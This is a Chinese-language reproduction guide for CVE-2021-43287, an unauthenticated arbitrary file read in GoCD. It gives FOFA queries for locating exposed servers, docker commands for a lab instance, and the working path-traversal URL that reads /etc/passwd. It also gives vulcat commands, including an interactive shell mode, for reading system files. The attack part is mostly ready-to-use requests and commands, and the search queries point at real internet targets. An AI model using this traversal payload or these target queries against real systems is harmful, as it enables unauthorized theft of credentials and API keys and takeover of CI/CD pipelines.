CVE-2021-43287(任意文件读取)
# 🧡 GoCD Business Continuity 任意文件读取
# 1)漏洞信息
漏洞名称 | 受影响组件 | 漏洞类型 | 漏洞编号 |
---|---|---|---|
GoCD Business Continuity任意文件读取 | GoCD (opens new window) | 任意文件读取 | CVE-2021-43287 (opens new window) |
漏洞简介 |
---|
GoCD Business Continuity 存在任意文件读取漏洞,未经身份验证的攻击者可以利用该漏洞来接管 CI/CD 管道,最终可在未授权的情况下造成任意文件读取,获取敏感API密钥等信息。 影响版本: 20.6.0 <= GoCD <= 21.2.0 |
参考链接 |
---|
补丁及修复方案 |
---|
升级该组件至最新版本: |
网络空间测绘 |
---|
FOFA:title="Create a pipeline - Go" |
FOFA:body="data-current-gocd-version" |
FOFA:icon_hash="-1576282848" |
# 2)漏洞环境
# 2.1)方案一
使用官方镜像 (opens new window)搭建漏洞环境
docker pull gocd/gocd-server:v21.1.0
docker run -itd -p 8153:8153 gocd/gocd-server:v21.1.0
1
2
2

启动容器后,访问8153端口即可看到gocd的页面
# 2.2)方案二
使用vulfocus镜像 (opens new window)搭建漏洞环境
docker pull vulfocus/gocd-cve_2021_43287
docker run -itd -p 8153:8153 vulfocus/gocd-cve_2021_43287
1
2
2

启动容器后,如果看到以下页面,说明 gocd 正在加载,需要稍等一会
加载完成之后,即可看到 gocd 页面
# 3)漏洞复现-手工
访问以下 URL 路径,会下载一个文本文件
/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/passwd
1

打开该文件 即可看到 /etc/passwd 文件的内容
如果你不想下载多余的文件,则以 “查看页面源代码” 的方式访问路径,即可直接看到文件内容,而无需下载文件
view-source:<目标站点>/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/passwd
1

# 4)漏洞复现-vulcat
python3 vulcat.py -u <URL> -v cve-2021-43287
1

你也可以使用 shell 模式,与 vulcat 持续交互并利用漏洞
python3 vulcat.py -u <URL> -v cve-2021-43287 --shell
1

访问 /etc/hosts
访问 /etc/passwd
编辑 (opens new window)